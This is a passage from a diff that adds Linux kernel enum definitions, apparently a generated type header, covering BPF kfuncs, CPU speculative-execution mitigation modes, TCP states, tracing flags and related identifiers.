spd_duplex { + NWAY_10M_HALF = 0, + NWAY_10M_FULL = 1, + NWAY_100M_HALF = 2, + NWAY_100M_FULL = 3, + NWAY_1000M_FULL = 4, + FORCE_10M_HALF = 5, + FORCE_10M_FULL = 6, + FORCE_100M_HALF = 7, + FORCE_100M_FULL = 8, + FORCE_1000M_FULL = 9, + NWAY_2500M_FULL = 10, +}; + +enum special_kfunc_type { + KF_bpf_obj_new_impl = 0, + KF_bpf_obj_drop_impl = 1, + KF_bpf_refcount_acquire_impl = 2, + KF_bpf_list_push_front_impl = 3, + KF_bpf_list_push_back_impl = 4, + KF_bpf_list_pop_front = 5, + KF_bpf_list_pop_back = 6, + KF_bpf_cast_to_kern_ctx = 7, + KF_bpf_rdonly_cast = 8, + KF_bpf_rcu_read_lock = 9, + KF_bpf_rcu_read_unlock = 10, + KF_bpf_rbtree_remove = 11, + KF_bpf_rbtree_add_impl = 12, + KF_bpf_rbtree_first = 13, + KF_bpf_dynptr_from_skb = 14, + KF_bpf_dynptr_from_xdp = 15, + KF_bpf_dynptr_slice = 16, + KF_bpf_dynptr_slice_rdwr = 17, + KF_bpf_dynptr_clone = 18, + KF_bpf_percpu_obj_new_impl = 19, + KF_bpf_percpu_obj_drop_impl = 20, + KF_bpf_throw = 21, + KF_bpf_wq_set_callback_impl = 22, + KF_bpf_preempt_disable = 23, + KF_bpf_preempt_enable = 24, + KF_bpf_iter_css_task_new = 25, + KF_bpf_session_cookie = 26, +}; + +enum spectre_v1_mitigation { + SPECTRE_V1_MITIGATION_NONE = 0, + SPECTRE_V1_MITIGATION_AUTO = 1, +}; + +enum spectre_v2_mitigation { + SPECTRE_V2_NONE = 0, + SPECTRE_V2_RETPOLINE = 1, + SPECTRE_V2_LFENCE = 2, + SPECTRE_V2_EIBRS = 3, + SPECTRE_V2_EIBRS_RETPOLINE = 4, + SPECTRE_V2_EIBRS_LFENCE = 5, + SPECTRE_V2_IBRS = 6, +}; + +enum spectre_v2_mitigation_cmd { + SPECTRE_V2_CMD_NONE = 0, + SPECTRE_V2_CMD_AUTO = 1, + SPECTRE_V2_CMD_FORCE = 2, + SPECTRE_V2_CMD_RETPOLINE = 3, + SPECTRE_V2_CMD_RETPOLINE_GENERIC = 4, + SPECTRE_V2_CMD_RETPOLINE_LFENCE = 5, + SPECTRE_V2_CMD_EIBRS = 6, + SPECTRE_V2_CMD_EIBRS_RETPOLINE = 7, + SPECTRE_V2_CMD_EIBRS_LFENCE = 8, + SPECTRE_V2_CMD_IBRS = 9, +}; + +enum spectre_v2_user_cmd { + SPECTRE_V2_USER_CMD_NONE = 0, + SPECTRE_V2_USER_CMD_AUTO = 1, + SPECTRE_V2_USER_CMD_FORCE = 2, + SPECTRE_V2_USER_CMD_PRCTL = 3, + SPECTRE_V2_USER_CMD_PRCTL_IBPB = 4, + SPECTRE_V2_USER_CMD_SECCOMP = 5, + SPECTRE_V2_USER_CMD_SECCOMP_IBPB = 6, +}; + +enum spectre_v2_user_mitigation { + SPECTRE_V2_USER_NONE = 0, + SPECTRE_V2_USER_STRICT = 1, + SPECTRE_V2_USER_STRICT_PREFERRED = 2, + SPECTRE_V2_USER_PRCTL = 3, + SPECTRE_V2_USER_SECCOMP = 4, +}; + +enum spi_compare_returns { + SPI_COMPARE_SUCCESS = 0, + SPI_COMPARE_FAILURE = 1, + SPI_COMPARE_SKIP_TEST = 2, +}; + +enum spi_signal_type { + SPI_SIGNAL_UNKNOWN = 1, + SPI_SIGNAL_SE = 2, + SPI_SIGNAL_LVD = 3, + SPI_SIGNAL_HVD = 4, +}; + +enum split_lock_detect_state { + sld_off = 0, + sld_warn = 1, + sld_fatal = 2, + sld_ratelimit = 3, +}; + +enum srbds_mitigations { + SRBDS_MITIGATION_OFF = 0, + SRBDS_MITIGATION_UCODE_NEEDED = 1, + SRBDS_MITIGATION_FULL = 2, + SRBDS_MITIGATION_TSX_OFF = 3, + SRBDS_MITIGATION_HYPERVISOR = 4, +}; + +enum srso_mitigation { + SRSO_MITIGATION_NONE = 0, + SRSO_MITIGATION_UCODE_NEEDED = 1, + SRSO_MITIGATION_SAFE_RET_UCODE_NEEDED = 2, + SRSO_MITIGATION_MICROCODE = 3, + SRSO_MITIGATION_SAFE_RET = 4, + SRSO_MITIGATION_IBPB = 5, + SRSO_MITIGATION_IBPB_ON_VMEXIT = 6, +}; + +enum srso_mitigation_cmd { + SRSO_CMD_OFF = 0, + SRSO_CMD_MICROCODE = 1, + SRSO_CMD_SAFE_RET = 2, + SRSO_CMD_IBPB = 3, + SRSO_CMD_IBPB_ON_VMEXIT = 4, +}; + +enum ssb_mitigation { + SPEC_STORE_BYPASS_NONE = 0, + SPEC_STORE_BYPASS_DISABLE = 1, + SPEC_STORE_BYPASS_PRCTL = 2, + SPEC_STORE_BYPASS_SECCOMP = 3, +}; + +enum ssb_mitigation_cmd { + SPEC_STORE_BYPASS_CMD_NONE = 0, + SPEC_STORE_BYPASS_CMD_AUTO = 1, + SPEC_STORE_BYPASS_CMD_ON = 2, + SPEC_STORE_BYPASS_CMD_PRCTL = 3, + SPEC_STORE_BYPASS_CMD_SECCOMP = 4, +}; + +enum sta_link_apply_mode { + STA_LINK_MODE_NEW = 0, + STA_LINK_MODE_STA_MODIFY = 1, + STA_LINK_MODE_LINK_MODIFY = 2, +}; + +enum sta_notify_cmd { + STA_NOTIFY_SLEEP = 0, + STA_NOTIFY_AWAKE = 1, +}; + +enum sta_stats_type { + STA_STATS_RATE_TYPE_INVALID = 0, + STA_STATS_RATE_TYPE_LEGACY = 1, + STA_STATS_RATE_TYPE_HT = 2, + STA_STATS_RATE_TYPE_VHT = 3, + STA_STATS_RATE_TYPE_HE = 4, + STA_STATS_RATE_TYPE_S1G = 5, + STA_STATS_RATE_TYPE_EHT = 6, +}; + +enum stack_type { + STACK_TYPE_UNKNOWN = 0, + STACK_TYPE_TASK = 1, + STACK_TYPE_IRQ = 2, + STACK_TYPE_SOFTIRQ = 3, + STACK_TYPE_ENTRY = 4, + STACK_TYPE_EXCEPTION = 5, + STACK_TYPE_EXCEPTION_LAST = 10, +}; + +enum stat_group { + STAT_READ = 0, + STAT_WRITE = 1, + STAT_DISCARD = 2, + STAT_FLUSH = 3, + NR_STAT_GROUPS = 4, +}; + +enum stat_item { + ALLOC_FASTPATH = 0, + ALLOC_SLOWPATH = 1, + FREE_FASTPATH = 2, + FREE_SLOWPATH = 3, + FREE_FROZEN = 4, + FREE_ADD_PARTIAL = 5, + FREE_REMOVE_PARTIAL = 6, + ALLOC_FROM_PARTIAL = 7, + ALLOC_SLAB = 8, + ALLOC_REFILL = 9, + ALLOC_NODE_MISMATCH = 10, + FREE_SLAB = 11, + CPUSLAB_FLUSH = 12, + DEACTIVATE_FULL = 13, + DEACTIVATE_EMPTY = 14, + DEACTIVATE_TO_HEAD = 15, + DEACTIVATE_TO_TAIL = 16, + DEACTIVATE_REMOTE_FREES = 17, + DEACTIVATE_BYPASS = 18, + ORDER_FALLBACK = 19, + CMPXCHG_DOUBLE_CPU_FAIL = 20, + CMPXCHG_DOUBLE_FAIL = 21, + CPU_PARTIAL_ALLOC = 22, + CPU_PARTIAL_FREE = 23, + CPU_PARTIAL_NODE = 24, + CPU_PARTIAL_DRAIN = 25, + NR_SLUB_STAT_ITEMS = 26, +}; + +enum station_parameters_apply_mask { + STATION_PARAM_APPLY_UAPSD = 1, + STATION_PARAM_APPLY_CAPABILITY = 2, + STATION_PARAM_APPLY_PLINK_STATE = 4, +}; + +enum store_type { + wr_invalid = 0, + wr_new_root = 1, + wr_store_root = 2, + wr_exact_fit = 3, + wr_spanning_store = 4, + wr_split_store = 5, + wr_rebalance = 6, + wr_append = 7, + wr_node_store = 8, + wr_slot_store = 9, +}; + +enum string_size_units { + STRING_UNITS_10 = 0, + STRING_UNITS_2 = 1, + STRING_UNITS_MASK = 1, + STRING_UNITS_NO_SPACE = 1073741824, + STRING_UNITS_NO_BYTES = 2147483648, +}; + +enum stripe_result { + STRIPE_SUCCESS = 0, + STRIPE_RETRY = 1, + STRIPE_SCHEDULE_AND_RETRY = 2, + STRIPE_FAIL = 3, + STRIPE_WAIT_RESHAPE = 4, +}; + +enum submit_disposition { + ASYNC_TX_SUBMITTED = 0, + ASYNC_TX_CHANNEL_SWITCH = 1, + ASYNC_TX_DIRECT_SUBMIT = 2, +}; + +enum sum_check_bits { + SUM_CHECK_P = 0, + SUM_CHECK_Q = 1, +}; + +enum sum_check_flags { + SUM_CHECK_P_RESULT = 1, + SUM_CHECK_Q_RESULT = 2, +}; + +enum support_mode { + ALLOW_LEGACY = 0, + DENY_LEGACY = 1, +}; + +enum survey_info_flags { + SURVEY_INFO_NOISE_DBM = 1, + SURVEY_INFO_IN_USE = 2, + SURVEY_INFO_TIME = 4, + SURVEY_INFO_TIME_BUSY = 8, + SURVEY_INFO_TIME_EXT_BUSY = 16, + SURVEY_INFO_TIME_RX = 32, + SURVEY_INFO_TIME_TX = 64, + SURVEY_INFO_TIME_SCAN = 128, + SURVEY_INFO_TIME_BSS_RX = 256, +}; + +enum suspend_mode { + PRESUSPEND = 0, + PRESUSPEND_UNDO = 1, + POSTSUSPEND = 2, +}; + +enum suspend_stat_step { + SUSPEND_WORKING = 0, + SUSPEND_FREEZE = 1, + SUSPEND_PREPARE = 2, + SUSPEND_SUSPEND = 3, + SUSPEND_SUSPEND_LATE = 4, + SUSPEND_SUSPEND_NOIRQ = 5, + SUSPEND_RESUME_NOIRQ = 6, + SUSPEND_RESUME_EARLY = 7, + SUSPEND_RESUME = 8, +}; + +enum sw_activity { + OFF = 0, + BLINK_ON = 1, + BLINK_OFF = 2, +}; + +enum switchdev_attr_id { + SWITCHDEV_ATTR_ID_UNDEFINED = 0, + SWITCHDEV_ATTR_ID_PORT_STP_STATE = 1, + SWITCHDEV_ATTR_ID_PORT_MST_STATE = 2, + SWITCHDEV_ATTR_ID_PORT_BRIDGE_FLAGS = 3, + SWITCHDEV_ATTR_ID_PORT_PRE_BRIDGE_FLAGS = 4, + SWITCHDEV_ATTR_ID_PORT_MROUTER = 5, + SWITCHDEV_ATTR_ID_BRIDGE_AGEING_TIME = 6, + SWITCHDEV_ATTR_ID_BRIDGE_VLAN_FILTERING = 7, + SWITCHDEV_ATTR_ID_BRIDGE_VLAN_PROTOCOL = 8, + SWITCHDEV_ATTR_ID_BRIDGE_MC_DISABLED = 9, + SWITCHDEV_ATTR_ID_BRIDGE_MROUTER = 10, + SWITCHDEV_ATTR_ID_BRIDGE_MST = 11, + SWITCHDEV_ATTR_ID_MRP_PORT_ROLE = 12, + SWITCHDEV_ATTR_ID_VLAN_MSTI = 13, +}; + +enum switchdev_notifier_type { + SWITCHDEV_FDB_ADD_TO_BRIDGE = 1, + SWITCHDEV_FDB_DEL_TO_BRIDGE = 2, + SWITCHDEV_FDB_ADD_TO_DEVICE = 3, + SWITCHDEV_FDB_DEL_TO_DEVICE = 4, + SWITCHDEV_FDB_OFFLOADED = 5, + SWITCHDEV_FDB_FLUSH_TO_BRIDGE = 6, + SWITCHDEV_PORT_OBJ_ADD = 7, + SWITCHDEV_PORT_OBJ_DEL = 8, + SWITCHDEV_PORT_ATTR_SET = 9, + SWITCHDEV_VXLAN_FDB_ADD_TO_BRIDGE = 10, + SWITCHDEV_VXLAN_FDB_DEL_TO_BRIDGE = 11, + SWITCHDEV_VXLAN_FDB_ADD_TO_DEVICE = 12, + SWITCHDEV_VXLAN_FDB_DEL_TO_DEVICE = 13, + SWITCHDEV_VXLAN_FDB_OFFLOADED = 14, + SWITCHDEV_BRPORT_OFFLOADED = 15, + SWITCHDEV_BRPORT_UNOFFLOADED = 16, + SWITCHDEV_BRPORT_REPLAY = 17, +}; + +enum sync_action { + ACTION_RESYNC = 0, + ACTION_RECOVER = 1, + ACTION_CHECK = 2, + ACTION_REPAIR = 3, + ACTION_RESHAPE = 4, + ACTION_FROZEN = 5, + ACTION_IDLE = 6, + NR_SYNC_ACTIONS = 7, +}; + +enum sys_off_mode { + SYS_OFF_MODE_POWER_OFF_PREPARE = 0, + SYS_OFF_MODE_POWER_OFF = 1, + SYS_OFF_MODE_RESTART_PREPARE = 2, + SYS_OFF_MODE_RESTART = 3, +}; + +enum syscall_work_bit { + SYSCALL_WORK_BIT_SECCOMP = 0, + SYSCALL_WORK_BIT_SYSCALL_TRACEPOINT = 1, + SYSCALL_WORK_BIT_SYSCALL_TRACE = 2, + SYSCALL_WORK_BIT_SYSCALL_EMU = 3, + SYSCALL_WORK_BIT_SYSCALL_AUDIT = 4, + SYSCALL_WORK_BIT_SYSCALL_USER_DISPATCH = 5, + SYSCALL_WORK_BIT_SYSCALL_EXIT_TRAP = 6, +}; + +enum sysctl_writes_mode { + SYSCTL_WRITES_LEGACY = -1, + SYSCTL_WRITES_WARN = 0, + SYSCTL_WRITES_STRICT = 1, +}; + +enum system_states { + SYSTEM_BOOTING = 0, + SYSTEM_SCHEDULING = 1, + SYSTEM_FREEING_INITMEM = 2, + SYSTEM_RUNNING = 3, + SYSTEM_HALT = 4, + SYSTEM_POWER_OFF = 5, + SYSTEM_RESTART = 6, + SYSTEM_SUSPEND = 7, +}; + +enum t10_dif_type { + T10_PI_TYPE0_PROTECTION = 0, + T10_PI_TYPE1_PROTECTION = 1, + T10_PI_TYPE2_PROTECTION = 2, + T10_PI_TYPE3_PROTECTION = 3, +}; + +enum taa_mitigations { + TAA_MITIGATION_OFF = 0, + TAA_MITIGATION_UCODE_NEEDED = 1, + TAA_MITIGATION_VERW = 2, + TAA_MITIGATION_TSX_DISABLED = 3, +}; + +enum task_work_notify_mode { + TWA_NONE = 0, + TWA_RESUME = 1, + TWA_SIGNAL = 2, + TWA_SIGNAL_NO_IPI = 3, + TWA_NMI_CURRENT = 4, +}; + +enum tc_mq_command { + TC_MQ_CREATE = 0, + TC_MQ_DESTROY = 1, + TC_MQ_STATS = 2, + TC_MQ_GRAFT = 3, +}; + +enum tc_setup_type { + TC_QUERY_CAPS = 0, + TC_SETUP_QDISC_MQPRIO = 1, + TC_SETUP_CLSU32 = 2, + TC_SETUP_CLSFLOWER = 3, + TC_SETUP_CLSMATCHALL = 4, + TC_SETUP_CLSBPF = 5, + TC_SETUP_BLOCK = 6, + TC_SETUP_QDISC_CBS = 7, + TC_SETUP_QDISC_RED = 8, + TC_SETUP_QDISC_PRIO = 9, + TC_SETUP_QDISC_MQ = 10, + TC_SETUP_QDISC_ETF = 11, + TC_SETUP_ROOT_QDISC = 12, + TC_SETUP_QDISC_GRED = 13, + TC_SETUP_QDISC_TAPRIO = 14, + TC_SETUP_FT = 15, + TC_SETUP_QDISC_ETS = 16, + TC_SETUP_QDISC_TBF = 17, + TC_SETUP_QDISC_FIFO = 18, + TC_SETUP_QDISC_HTB = 19, + TC_SETUP_ACT = 20, +}; + +enum tcp_bit_set { + TCP_SYN_SET = 0, + TCP_SYNACK_SET = 1, + TCP_FIN_SET = 2, + TCP_ACK_SET = 3, + TCP_RST_SET = 4, + TCP_NONE_SET = 5, +}; + +enum tcp_ca_ack_event_flags { + CA_ACK_SLOWPATH = 1, + CA_ACK_WIN_UPDATE = 2, + CA_ACK_ECE = 4, +}; + +enum tcp_ca_event { + CA_EVENT_TX_START = 0, + CA_EVENT_CWND_RESTART = 1, + CA_EVENT_COMPLETE_CWR = 2, + CA_EVENT_LOSS = 3, + CA_EVENT_ECN_NO_CE = 4, + CA_EVENT_ECN_IS_CE = 5, +}; + +enum tcp_ca_state { + TCP_CA_Open = 0, + TCP_CA_Disorder = 1, + TCP_CA_CWR = 2, + TCP_CA_Recovery = 3, + TCP_CA_Loss = 4, +}; + +enum tcp_chrono { + TCP_CHRONO_UNSPEC = 0, + TCP_CHRONO_BUSY = 1, + TCP_CHRONO_RWND_LIMITED = 2, + TCP_CHRONO_SNDBUF_LIMITED = 3, + __TCP_CHRONO_MAX = 4, +}; + +enum tcp_conntrack { + TCP_CONNTRACK_NONE = 0, + TCP_CONNTRACK_SYN_SENT = 1, + TCP_CONNTRACK_SYN_RECV = 2, + TCP_CONNTRACK_ESTABLISHED = 3, + TCP_CONNTRACK_FIN_WAIT = 4, + TCP_CONNTRACK_CLOSE_WAIT = 5, + TCP_CONNTRACK_LAST_ACK = 6, + TCP_CONNTRACK_TIME_WAIT = 7, + TCP_CONNTRACK_CLOSE = 8, + TCP_CONNTRACK_LISTEN = 9, + TCP_CONNTRACK_MAX = 10, + TCP_CONNTRACK_IGNORE = 11, + TCP_CONNTRACK_RETRANS = 12, + TCP_CONNTRACK_UNACK = 13, + TCP_CONNTRACK_TIMEOUT_MAX = 14, +}; + +enum tcp_fastopen_client_fail { + TFO_STATUS_UNSPEC = 0, + TFO_COOKIE_UNAVAILABLE = 1, + TFO_DATA_NOT_ACKED = 2, + TFO_SYN_RETRANSMITTED = 3, +}; + +enum tcp_metric_index { + TCP_METRIC_RTT = 0, + TCP_METRIC_RTTVAR = 1, + TCP_METRIC_SSTHRESH = 2, + TCP_METRIC_CWND = 3, + TCP_METRIC_REORDERING = 4, + TCP_METRIC_RTT_US = 5, + TCP_METRIC_RTTVAR_US = 6, + __TCP_METRIC_MAX = 7, +}; + +enum tcp_queue { + TCP_FRAG_IN_WRITE_QUEUE = 0, + TCP_FRAG_IN_RTX_QUEUE = 1, +}; + +enum tcp_seq_states { + TCP_SEQ_STATE_LISTENING = 0, + TCP_SEQ_STATE_ESTABLISHED = 1, +}; + +enum tcp_skb_cb_sacked_flags { + TCPCB_SACKED_ACKED = 1, + TCPCB_SACKED_RETRANS = 2, + TCPCB_LOST = 4, + TCPCB_TAGBITS = 7, + TCPCB_REPAIRED = 16, + TCPCB_EVER_RETRANS = 128, + TCPCB_RETRANS = 146, +}; + +enum tcp_synack_type { + TCP_SYNACK_NORMAL = 0, + TCP_SYNACK_FASTOPEN = 1, + TCP_SYNACK_COOKIE = 2, +}; + +enum tcp_tw_status { + TCP_TW_SUCCESS = 0, + TCP_TW_RST = 1, + TCP_TW_ACK = 2, + TCP_TW_SYN = 3, +}; + +enum tcpa_event_types { + PREBOOT = 0, + POST_CODE = 1, + UNUSED = 2, + NO_ACTION = 3, + SEPARATOR = 4, + ACTION = 5, + EVENT_TAG = 6, + SCRTM_CONTENTS = 7, + SCRTM_VERSION = 8, + CPU_MICROCODE = 9, + PLATFORM_CONFIG_FLAGS = 10, + TABLE_OF_DEVICES = 11, + COMPACT_HASH = 12, + IPL = 13, + IPL_PARTITION_DATA = 14, + NONHOST_CODE = 15, + NONHOST_CONFIG = 16, + NONHOST_INFO = 17, +}; + +enum tcx_action_base { + TCX_NEXT = -1, + TCX_PASS = 0, + TCX_DROP = 2, + TCX_REDIRECT = 7, +}; + +enum tg_state_flags { + THROTL_TG_PENDING = 1, + THROTL_TG_WAS_EMPTY = 2, + THROTL_TG_CANCELING = 4, +}; + +enum thermal_device_mode { + THERMAL_DEVICE_DISABLED = 0, + THERMAL_DEVICE_ENABLED = 1, +}; + +enum thermal_notify_event { + THERMAL_EVENT_UNSPECIFIED = 0, + THERMAL_EVENT_TEMP_SAMPLE = 1, + THERMAL_TRIP_VIOLATED = 2, + THERMAL_TRIP_CHANGED = 3, + THERMAL_DEVICE_DOWN = 4, + THERMAL_DEVICE_UP = 5, + THERMAL_DEVICE_POWER_CAPABILITY_CHANGED = 6, + THERMAL_TABLE_CHANGED = 7, + THERMAL_EVENT_KEEP_ALIVE = 8, + THERMAL_TZ_BIND_CDEV = 9, + THERMAL_TZ_UNBIND_CDEV = 10, + THERMAL_INSTANCE_WEIGHT_CHANGED = 11, + THERMAL_TZ_RESUME = 12, +}; + +enum thermal_trend { + THERMAL_TREND_STABLE = 0, + THERMAL_TREND_RAISING = 1, + THERMAL_TREND_DROPPING = 2, +}; + +enum thermal_trip_type { + THERMAL_TRIP_ACTIVE = 0, + THERMAL_TRIP_PASSIVE = 1, + THERMAL_TRIP_HOT = 2, + THERMAL_TRIP_CRITICAL = 3, +}; + +enum tick_broadcast_mode { + TICK_BROADCAST_OFF = 0, + TICK_BROADCAST_ON = 1, + TICK_BROADCAST_FORCE = 2, +}; + +enum tick_broadcast_state { + TICK_BROADCAST_EXIT = 0, + TICK_BROADCAST_ENTER = 1, +}; + +enum tick_dep_bits { + TICK_DEP_BIT_POSIX_TIMER = 0, + TICK_DEP_BIT_PERF_EVENTS = 1, + TICK_DEP_BIT_SCHED = 2, + TICK_DEP_BIT_CLOCK_UNSTABLE = 3, + TICK_DEP_BIT_RCU = 4, + TICK_DEP_BIT_RCU_EXP = 5, +}; + +enum tick_device_mode { + TICKDEV_MODE_PERIODIC = 0, + TICKDEV_MODE_ONESHOT = 1, +}; + +enum timekeeping_adv_mode { + TK_ADV_TICK = 0, + TK_ADV_FREQ = 1, +}; + +enum timespec_type { + TT_NONE = 0, + TT_NATIVE = 1, + TT_COMPAT = 2, +}; + +enum tk_offsets { + TK_OFFS_REAL = 0, + TK_OFFS_BOOT = 1, + TK_OFFS_TAI = 2, + TK_OFFS_MAX = 3, +}; + +enum tlb_flush_reason { + TLB_FLUSH_ON_TASK_SWITCH = 0, + TLB_REMOTE_SHOOTDOWN = 1, + TLB_LOCAL_SHOOTDOWN = 2, + TLB_LOCAL_MM_SHOOTDOWN = 3, + TLB_REMOTE_SEND_IPI = 4, + NR_TLB_FLUSH_REASONS = 5, +}; + +enum tlb_infos { + ENTRIES = 0, + NR_INFO = 1, +}; + +enum topo_types { + INVALID_TYPE = 0, + SMT_TYPE = 1, + CORE_TYPE = 2, + MAX_TYPE_0B = 3, + MODULE_TYPE = 3, + AMD_CCD_TYPE = 3, + TILE_TYPE = 4, + AMD_SOCKET_TYPE = 4, + MAX_TYPE_80000026 = 5, + DIE_TYPE = 5, + DIEGRP_TYPE = 6, + MAX_TYPE_1F = 7, +}; + +enum tp_func_state { + TP_FUNC_0 = 0, + TP_FUNC_1 = 1, + TP_FUNC_2 = 2, + TP_FUNC_N = 3, +}; + +enum tp_transition_sync { + TP_TRANSITION_SYNC_1_0_1 = 0, + TP_TRANSITION_SYNC_N_2_1 = 1, + _NR_TP_TRANSITION_SYNC = 2, +}; + +enum tpacket_versions { + TPACKET_V1 = 0, + TPACKET_V2 = 1, + TPACKET_V3 = 2, +}; + +enum tpc_action { + TPC_ACTION_STAY = 0, + TPC_ACTION_DECREASE = 1, + TPC_ACTION_INCREASE = 2, + TPC_ACTION_NO_RESTIRCTION = 3, +}; + +enum trace_flag_type { + TRACE_FLAG_IRQS_OFF = 1, + TRACE_FLAG_IRQS_NOSUPPORT = 2, + TRACE_FLAG_NEED_RESCHED = 4, + TRACE_FLAG_HARDIRQ = 8, + TRACE_FLAG_SOFTIRQ = 16, + TRACE_FLAG_PREEMPT_RESCHED = 32, + TRACE_FLAG_NMI = 64, + TRACE_FLAG_BH_OFF = 128, +}; + +enum trace_iter_flags { + TRACE_FILE_LAT_FMT = 1, + TRACE_FILE_ANNOTATE = 2, + TRACE_FILE_TIME_IN_NS = 4, +}; + +enum trace_iterator_flags { + TRACE_ITER_PRINT_PARENT = 1, + TRACE_ITER_SYM_OFFSET = 2, + TRACE_ITER_SYM_ADDR = 4, + TRACE_ITER_VERBOSE = 8, + TRACE_ITER_RAW = 16, + TRACE_ITER_HEX = 32, + TRACE_ITER_BIN = 64, + TRACE_ITER_BLOCK = 128, + TRACE_ITER_FIELDS = 256, + TRACE_ITER_PRINTK = 512, + TRACE_ITER_ANNOTATE = 1024, + TRACE_ITER_USERSTACKTRACE = 2048, + TRACE_ITER_SYM_USEROBJ = 4096, + TRACE_ITER_PRINTK_MSGONLY = 8192, + TRACE_ITER_CONTEXT_INFO = 16384, + TRACE_ITER_LATENCY_FMT = 32768, + TRACE_ITER_RECORD_CMD = 65536, + TRACE_ITER_RECORD_TGID = 131072, + TRACE_ITER_OVERWRITE = 262144, + TRACE_ITER_STOP_ON_FREE = 524288, + TRACE_ITER_IRQ_INFO = 1048576, + TRACE_ITER_MARKERS = 2097152, + TRACE_ITER_EVENT_FORK = 4194304, + TRACE_ITER_TRACE_PRINTK = 8388608, + TRACE_ITER_PAUSE_ON_TRACE = 16777216, + TRACE_ITER_HASH_PTR = 33554432, + TRACE_ITER_FUNCTION = 67108864, + TRACE_ITER_FUNC_FORK = 134217728, + TRACE_ITER_DISPLAY_GRAPH = 268435456, + TRACE_ITER_STACKTRACE = 536870912, +}; + +enum trace_reg { + TRACE_REG_REGISTER = 0, + TRACE_REG_UNREGISTER = 1, + TRACE_REG_PERF_REGISTER = 2, + TRACE_REG_PERF_UNREGISTER = 3, + TRACE_REG_PERF_OPEN = 4, + TRACE_REG_PERF_CLOSE = 5, + TRACE_REG_PERF_ADD = 6, + TRACE_REG_PERF_DEL = 7, +}; + +enum trace_type { + __TRACE_FIRST_TYPE = 0, + TRACE_FN = 1, + TRACE_CTX = 2, + TRACE_WAKE = 3, + TRACE_STACK = 4, + TRACE_PRINT = 5, + TRACE_BPRINT = 6, + TRACE_MMIO_RW = 7, + TRACE_MMIO_MAP = 8, + TRACE_BRANCH = 9, + TRACE_GRAPH_RET = 10, + TRACE_GRAPH_ENT = 11, + TRACE_USER_STACK = 12, + TRACE_BLK = 13, + TRACE_BPUTS = 14, + TRACE_HWLAT = 15, + TRACE_OSNOISE = 16, + TRACE_TIMERLAT = 17, + TRACE_RAW_DATA = 18, + TRACE_FUNC_REPEATS = 19, + __TRACE_LAST_TYPE = 20, +}; + +enum track_item { + TRACK_ALLOC = 0, + TRACK_FREE = 1, +}; + +enum translation_map { + LAT1_MAP = 0, + GRAF_MAP = 1, + IBMPC_MAP = 2, + USER_MAP = 3, + FIRST_MAP = 0, + LAST_MAP = 3, +}; + +enum transparent_hugepage_flag { + TRANSPARENT_HUGEPAGE_UNSUPPORTED = 0, + TRANSPARENT_HUGEPAGE_FLAG = 1, + TRANSPARENT_HUGEPAGE_REQ_MADV_FLAG = 2, + TRANSPARENT_HUGEPAGE_DEFRAG_DIRECT_FLAG = 3, + TRANSPARENT_HUGEPAGE_DEFRAG_KSWAPD_FLAG = 4, + TRANSPARENT_HUGEPAGE_DEFRAG_KSWAPD_OR_MADV_FLAG = 5, + TRANSPARENT_HUGEPAGE_DEFRAG_REQ_MADV_FLAG = 6, + TRANSPARENT_HUGEPAGE_DEFRAG_KHUGEPAGED_FLAG = 7, + TRANSPARENT_HUGEPAGE_USE_ZERO_PAGE_FLAG = 8, +}; + +enum tsf_sync { + TSF_SYNC_NONE = 0, + TSF_SYNC_INFRA = 1, + TSF_SYNC_ADHOC = 2, + TSF_SYNC_AP_NONE = 3, +}; + +enum tsq_enum { + TSQ_THROTTLED = 0, + TSQ_QUEUED = 1, + TCP_TSQ_DEFERRED = 2, + TCP_WRITE_TIMER_DEFERRED = 3, + TCP_DELACK_TIMER_DEFERRED = 4, + TCP_MTU_REDUCED_DEFERRED = 5, + TCP_ACK_DEFERRED = 6, +}; + +enum tsq_flags { + TSQF_THROTTLED = 1, + TSQF_QUEUED = 2, + TCPF_TSQ_DEFERRED = 4, + TCPF_WRITE_TIMER_DEFERRED = 8, + TCPF_DELACK_TIMER_DEFERRED = 16, + TCPF_MTU_REDUCED_DEFERRED = 32, + TCPF_ACK_DEFERRED = 64, +}; + +enum tsx_ctrl_states { + TSX_CTRL_ENABLE = 0, + TSX_CTRL_DISABLE = 1, + TSX_CTRL_RTM_ALWAYS_ABORT = 2, + TSX_CTRL_NOT_SUPPORTED = 3, +}; + +enum ttu_flags { + TTU_SPLIT_HUGE_PMD = 4, + TTU_IGNORE_MLOCK = 8, + TTU_SYNC = 16, + TTU_HWPOISON = 32, + TTU_BATCH_FLUSH = 64, + TTU_RMAP_LOCKED = 128, +}; + +enum tty_flow_change { + TTY_FLOW_NO_CHANGE = 0, + TTY_THROTTLE_SAFE = 1, + TTY_UNTHROTTLE_SAFE = 2, +}; + +enum tunable_id { + ETHTOOL_ID_UNSPEC = 0, + ETHTOOL_RX_COPYBREAK = 1, + ETHTOOL_TX_COPYBREAK = 2, + ETHTOOL_PFC_PREVENTION_TOUT = 3, + ETHTOOL_TX_COPYBREAK_BUF_SIZE = 4, + __ETHTOOL_TUNABLE_COUNT = 5, +}; + +enum tunable_type_id { + ETHTOOL_TUNABLE_UNSPEC = 0, + ETHTOOL_TUNABLE_U8 = 1, + ETHTOOL_TUNABLE_U16 = 2, + ETHTOOL_TUNABLE_U32 = 3, + ETHTOOL_TUNABLE_U64 = 4, + ETHTOOL_TUNABLE_STRING = 5, + ETHTOOL_TUNABLE_S8 = 6, + ETHTOOL_TUNABLE_S16 = 7, + ETHTOOL_TUNABLE_S32 = 8, + ETHTOOL_TUNABLE_S64 = 9, +}; + +enum tunnel_encap_types { + TUNNEL_ENCAP_NONE = 0, + TUNNEL_ENCAP_FOU = 1, + TUNNEL_ENCAP_GUE = 2, + TUNNEL_ENCAP_MPLS = 3, +}; + +enum tx_csum_stat { + TX_CSUM_SUCCESS = 0, + TX_CSUM_TSO = 1, + TX_CSUM_NONE = 2, +}; + +enum tx_queue_prio { + TX_QUEUE_PRIO_HIGH = 0, + TX_QUEUE_PRIO_LOW = 1, +}; + +enum txdone_entry_desc_flags { + TXDONE_UNKNOWN = 0, + TXDONE_SUCCESS = 1, + TXDONE_FALLBACK = 2, + TXDONE_FAILURE = 3, + TXDONE_EXCESSIVE_RETRY = 4, + TXDONE_AMPDU = 5, + TXDONE_NO_ACK_REQ = 6, +}; + +enum txentry_desc_flags { + ENTRY_TXD_RTS_FRAME = 0, + ENTRY_TXD_CTS_FRAME = 1, + ENTRY_TXD_GENERATE_SEQ = 2, + ENTRY_TXD_FIRST_FRAGMENT = 3, + ENTRY_TXD_MORE_FRAG = 4, + ENTRY_TXD_REQ_TIMESTAMP = 5, + ENTRY_TXD_BURST = 6, + 